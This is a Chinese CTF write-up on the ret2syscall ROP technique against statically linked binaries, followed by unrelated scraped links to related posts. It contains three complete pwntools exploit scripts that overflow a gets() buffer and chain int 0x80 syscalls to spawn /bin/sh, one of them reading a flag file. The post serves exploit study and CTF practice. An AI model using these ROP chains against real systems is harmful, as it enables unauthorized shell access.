当初学rop学到的ret2syscall,对int 0x80中断了解还不是很深,这次又复习了一遍。虽然很简单,但是还是学到了新东西。那么我们就从ret2syscall开始吧。

  IDA一打开的时候,就看见函数窗口有超级多的函数,我就意识到,应该是静态编译。这样软件就没调用libc,也就不存在leak libc版本来获取shell地址了。记得以前做过的一道静态编译,利用的是ROPgadget。刚刚试了一下,发现这道题也可以,这个我们最后说。

  IDA打开后搜索字符串,发现“/bin/sh”字样,但是没有system函数。那么我们就想到用系统调用的方法来拿到shell。系统调用需要一个函数就是int 0x80,我们用ROPgadget来搜索一下。

 

  截图中我们有了int 0x80的地址和“/bin/sh”的地址,再获取一些给寄存器赋值的gadget就可以写exp了,这里就直接贴上exp了。

 1 from pwn import *
2
3 p = process('./ret2syscall')
4
5 binsh_addr = 0x080be408
6 pop_eax = 0x080bb196
7 pop_edx_ecx_ebx = 0x0806eb90
8 int80_addr = 0x08049421
9
10 payload = 'a'*112 + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0x0) + p32(0x0) + p32(binsh_addr) + p32(int80_addr)
11
12 p.sendline(payload)
13 p.interactive()

  这是我第一次学习时候的ret2syscall的时候的exp,当我今天又遇到一个这种类型的题。我们来细细看一下。

  

  

  直接main函数一个gets溢出,然后就没了。这道题是直接搜不出“/bin/sh”字符串的。但是其实如果真的掌握精髓的话,其实是可以拼接出“/bin/sh”字符串的,因为我搜了一下,有“/”,有“bin”,有“sh”,但是我拼接过程中不知道该如何截断一个字符串。那么我们还能怎么办呢?既然是系统调用,那么我们不如调用一个read函数,来自己输入“/bin/sh”吧。

  自己输入“/bin/sh”的话,就需要我们调用两次int 80,但是,却怎么也打不通。

  

  这时候有师傅告诉我说,用ROPgadget这样搜索,搜出来也是系统调用,我怀着疑惑,用qira看一下。

  

  我们调用了两次int80,但是汇编只显示了一行,经过调试发现,当read执行完,执行shellcode的时候又会跳到第一个int80来系统调用。

  那我们再看一下,第一次搜索出来的int80为啥不行。。。

  

  发现这样调用之后,任务直接就中断了,就不会继续执行了。。。

  那么就总结出来了,如果只需要一次系统调用,可以用这种命令:ROPgadget --binary rop --only 'int'

  如果我们需要多次系统调用,就只能用这个命令来找int 0x80 :ROPgadget --binary rop --opcode cd80c3

  本题如果我们要自己输入“/bin/sh”的话,就需要用这个找到的地址了。

  那么我们贴一下这道题的exp:

 1 from pwn import *
2 import time
3
4 p = process('./rop')
5 #p = remote('127.0.0.1',4000)
6 elf = ELF('./rop')
7 context.log_level = 'debug'
8
9 pop_eax_edx_ebx = 0x08053d14
10 pop_ecx = 0x080595b3
11 ret = 0x080481b2
12 #int80 = 0x0806c405 #int80
13 int80 = 0x0806ef00 #ROPgadget --binary rop --opcode cd80c3
14 buf = elf.bss() + 0x300
15 payload = 'a'*22
16 payload += flat([
17 pop_eax_edx_ebx,
18 0x3,
19 0x10,
20 0x0,
21 pop_ecx,
22 buf,
23 int80,
24 pop_eax_edx_ebx,
25 0xb,
26 0x0,
27 buf,
28 pop_ecx,
29 0x0,
30 int80])
31 p.sendline(payload)
32 sleep(1)
33 p.send('/bin/sh\x00')
34 sleep(1)
35 p.sendline('cat flag.txt')
36 p.recv()
37 p.close()

  说到这里,其实也该完了,但是我发下ROPgadget是真的牛逼。他还有这么一行命令:

  

ROPgadget --binary rop --ropchain

  这行命令,会自己从程序里面找gadget片段,然后拼接出shellcode,如果这道题用这种方法做,我贴一下exp:

 1 from pwn import *
2 from struct import pack
3 import time
4
5 z = process('./rop')
6 #p = remote('127.0.0.1',4000)
7 elf = ELF('./rop')
8 context.log_level = 'debug'
9
10 p = 'a'*22
11
12 p += pack('<I', 0x0806e7da) # pop edx ; ret
13 p += pack('<I', 0x080ec080) # @ .data
14 p += pack('<I', 0x080b90f6) # pop eax ; ret
15 p += '/bin'
16 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
17 p += pack('<I', 0x0806e7da) # pop edx ; ret
18 p += pack('<I', 0x080ec084) # @ .data + 4
19 p += pack('<I', 0x080b90f6) # pop eax ; ret
20 p += '//sh'
21 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
22 p += pack('<I', 0x0806e7da) # pop edx ; ret
23 p += pack('<I', 0x080ec088) # @ .data + 8
24 p += pack('<I', 0x08049173) # xor eax, eax ; ret
25 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
26 p += pack('<I', 0x080481c9) # pop ebx ; ret
27 p += pack('<I', 0x080ec080) # @ .data
28 p += pack('<I', 0x080595b3) # pop ecx ; ret
29 p += pack('<I', 0x080ec088) # @ .data + 8
30 p += pack('<I', 0x0806e7da) # pop edx ; ret
31 p += pack('<I', 0x080ec088) # @ .data + 8
32 p += pack('<I', 0x08049173) # xor eax, eax ; ret
33 p += pack('<I', 0x080be674) # inc eax ; ret
34 p += pack('<I', 0x080be674) # inc eax ; ret
35 p += pack('<I', 0x080be674) # inc eax ; ret
36 p += pack('<I', 0x080be674) # inc eax ; ret
37 p += pack('<I', 0x080be674) # inc eax ; ret
38 p += pack('<I', 0x080be674) # inc eax ; ret
39 p += pack('<I', 0x080be674) # inc eax ; ret
40 p += pack('<I', 0x080be674) # inc eax ; ret
41 p += pack('<I', 0x080be674) # inc eax ; ret
42 p += pack('<I', 0x080be674) # inc eax ; ret
43 p += pack('<I', 0x080be674) # inc eax ; ret
44 p += pack('<I', 0x0806c405) # int 0x80
45 z.sendline(p)
46 z.interactive()
47

  payload直接用自动生成的就可以,仔细阅读一下自动生成的,发现就是都是利用片段拼接,而且只调用了一次int 0x80,调用的这次也是咱们那个只能用一次的int 0x80的那个地址。这样,这种题目就算是分析透彻了。

  当然这种直接生成的payload一般都比较长,适用于gets函数,我做了一道题是read,因为限制长度就不能用。

  好了,分析就到这了。

再识ret2syscall的更多相关文章

  1. JS魔法堂:再识Number type

    Brief 本来只打算理解JS中0.1 + 0.2 == 0.30000000000000004的原因,但发现自己对计算机的数字表示和运算十分陌生,于是只好恶补一下.以下是恶补后的成果: 基础野:细说 ...

  2. JS魔法堂:再识IE的内存泄露

    一.前言 IE6~8除了不遵守W3C标准和各种诡异外,我想最让人诟病的应该是内存泄露的问题了.这阵子趁项目技术调研的机会好好的再认识一回,以下内容若有纰漏请大家指正,谢谢! 目录一大坨! 二.内存泄漏 ...

  3. C#再识委托

    从C#1到C#3逐步认识委托,由于C#4与C#5对委托改动并不大,故不作说明. 好久没看.NET了,一直在搞HybridAPP,都忘得差不多了,这也是自己从书中摘下笔迹,供日后翻阅. C# 1 1.什 ...

  4. Play再识 - 不放弃的执着

    从写Play初识时,前面各种称赞play如何如何解放java web开发,最后因为网络被墙而无法正常编译,从而想到放弃.从来都有成为web开发高手的想法,今天又再一次进行尝试,惊喜的是有新的进展. 首 ...

  5. [转]再识Cortex-M3之堆栈

    原地址https://blog.csdn.net/liaoxu02/article/details/48107651 Cortex-M3拥有通用寄存器R0-R15以及一些特殊功能寄存器.R0-R12是 ...

  6. HDU2157 How many ways矩阵再识

    春天到了, HDU校园里开满了花, 姹紫嫣红, 非常美丽. 葱头是个爱花的人, 看着校花校草竞相开放, 漫步校园, 心情也变得舒畅. 为了多看看这迷人的校园, 葱头决定, 每次上课都走不同的路线去教室 ...

  7. 【drp 12】再识转发和重定向:SpringMVC无法跳转页面

    最近再使用SpringMVC进行页面跳转的时候,不知道发生了什么,始终都无法正确跳转.后来问题解决了,发现是对于转发和重定向没有能很好的理解,以此写篇博客,权当做积累了! 声明:本博客的所有代码,均为 ...

  8. swift 再识枚举变量

    // Use enum to create an enumeration. Like classes and all other named types, enumerations can have ...

  9. 再识Quartz

    在之前的项目中使用过Quartz,但都是基于XML配置定义任务的.目前一个项目应用需要对任务进行创建.暂停.删除等动态管理.所以再次在网上翻了翻,再来好好重新认识下Quartz. 名词解释: sche ...

随机推荐

  1. Java_map

    1 package Test; 2 3 import java.util.HashMap; 4 import java.util.Map; 5 6 public class MapTest { 7 p ...

  2. [cf461E]Appleman and a Game

    考虑我的每一次添加操作,要满足:1.该串是t的子串:2.该串不能与下一次的串开头字母构成t的子串.那么,设f[i][j][k]表示拼i次,第i次填入的开头字母是j,第i+1填入的开头字母是k的最短长度 ...

  3. [bzoj1190]梦幻岛宝珠

    根据$2^b$分组,组内处理出g[i][j]表示当容量为$j\cdot 2^{i}$且只能选b=i时最大价值,再组间dp用f[i][j]表示当容量为$j\cdot 2^{i}+(w\&(2^{ ...

  4. 史上最简单的手写Promise,仅17行代码即可实现Promise链式调用

    Promise的使用相比大家已经孰能生巧了,我这里就不赘述了 先说说我写的Promise的问题吧,无法实现宏任务和微任务里的正确执行(也就是在Promise里面写setTimeout,setInter ...

  5. 使用apt安装docker

    使用apt安装docker # 更新数据源 apt-get update # 安装所需依赖 apt-get -y install apt-transport-https ca-certificates ...

  6. emoji表情等特殊字符处理和存储的两个方案

    方案1.改数据库配置 使之支持emoji表情等特殊字符,小公司或者个人开发还好,大公司用此方案代价较大. 以mysql为例,改配置方法参考:https://blog.csdn.net/u0107373 ...

  7. pcm.x代码分析

    简介 运行说明 pcm 监控结果可以分为核心.socket 和系统三部分.在核心监控部分,结果包括如下内容: • EXEC • IPC:每 CPU 周期指令数 • FREQ:普通CPU频率系数 • A ...

  8. Bedtools如何比较两个参考基因组注释版本的基因?

    目录 问题 思路 问题 原问题来自:How to calculate overlapping genes between two genome annotation versions? 其实可分为两个 ...

  9. docker_清华源国内的选择

    清华大学开源镜像官网:https://mirrors.tuna.tsinghua.edu.cn/ 前期: 在centos7 中的extras 源里面有docker 安装包,但是里面的安装包是比较旧的 ...

  10. VMware和Centos的安装及配置

    目录 1. 安装VMware 2. 安装CentOS6及配置 2.1 Centos安装 2.1.1 配置网络连接的三种形式 2.1.1.1 桥连接 2.1.1.2 NAT模式 2.1.1.3 主机模式 ...